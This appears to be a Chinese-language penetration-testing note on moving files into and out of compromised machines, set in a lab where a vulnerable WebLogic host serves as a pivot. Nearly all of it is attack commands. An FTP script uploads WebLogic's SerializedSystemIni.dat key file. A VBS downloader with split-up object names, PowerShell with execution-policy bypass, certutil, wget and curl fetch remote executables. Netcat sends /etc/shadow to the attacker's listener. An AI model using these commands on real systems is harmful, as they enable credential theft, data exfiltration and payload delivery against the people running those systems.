文件传输方法:
windows
FTP(ftp -s:1.txt【-s将后面跟的1.txt内容全部当做命令行执行】)(FTP传文件比较万能,任意类型文件都可上传)
实践:
现有公网IP: 101.198.183.60,内网IP: 192.168.0.84的开发webloginc 7001端口并且有反序列化漏洞的主机一台,以及
公网IP: 101.198.183.68,内网IP: 192.168.0.98开放ftp服务的主机一台。
实施攻击的是不同网段的win7攻击机(可以访问公网,但是内网不可访问)。
使用win7攻击机上的WebLogicExploit工具远程连接weblogic主机
1、echo open 192.168.0.98 2121 >> 1.txt //登陆FTP服务器
2、echo guoxiang>>1.txt //用户名
3、echo password>>1.txt //密码
4、echo bin>>1.txt //开始
5、echo put C:\Oracle\Middleware\user_projects\domains\college\security\SerializedSystemIni.dat>> 1.txt //下载程序
6、echo bye>>1.txt //关闭FTP服务器
然后执行ftp -s:1.txt
发现在ftp主机中出现了上传的文件。
用同一内网下含有反序列化任意命令执行漏洞的weblogic主机做跳板,用weblogic主机去攻击同一内网下的ftp主机。
VBS(echo 下载文件程序>>loader.vbs cscript loader.vbs远程文件位置保存文件位置)
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> loader.vbs
cscript loader.vbs http://192.168.0.98:7001/test/putty.exe C:\Users\linghuchong\Desktop\Tools\putty.exe
putty.exe
Powershell(powershell-exec bypass-c(new-object System.Net.WebClient).DownloadFile(“远程文件位置“保存文件位置))
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.111.1:8080/test/putty.exe','C:\Users\linghuchong\Desktop\Tools\putty1.exe')
putty1.exe
certain(certutil.exe -urlcache -split -f 远程文件位置)
certutil.exe -urlcache -split -f http://192.168.111.1:8080/test/putty.exe
certutil.exe -urlcache -split -f http://192.168.111.1:8080/test/putty.exe delete //删除缓存
putty.exe
Linux
攻击端监听端口,并重定向:
nc -nvv -lp 4455 > shaodw.txt
目标机将文件内容回传:
nc 192.168.111.251 4455 < /etc/shadow
Wget(下载)
wget http://192.168.111.1:8080/test/putty.exe
curl(支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。)
curl -O http://192.168.111.1:8080/test/putty.exe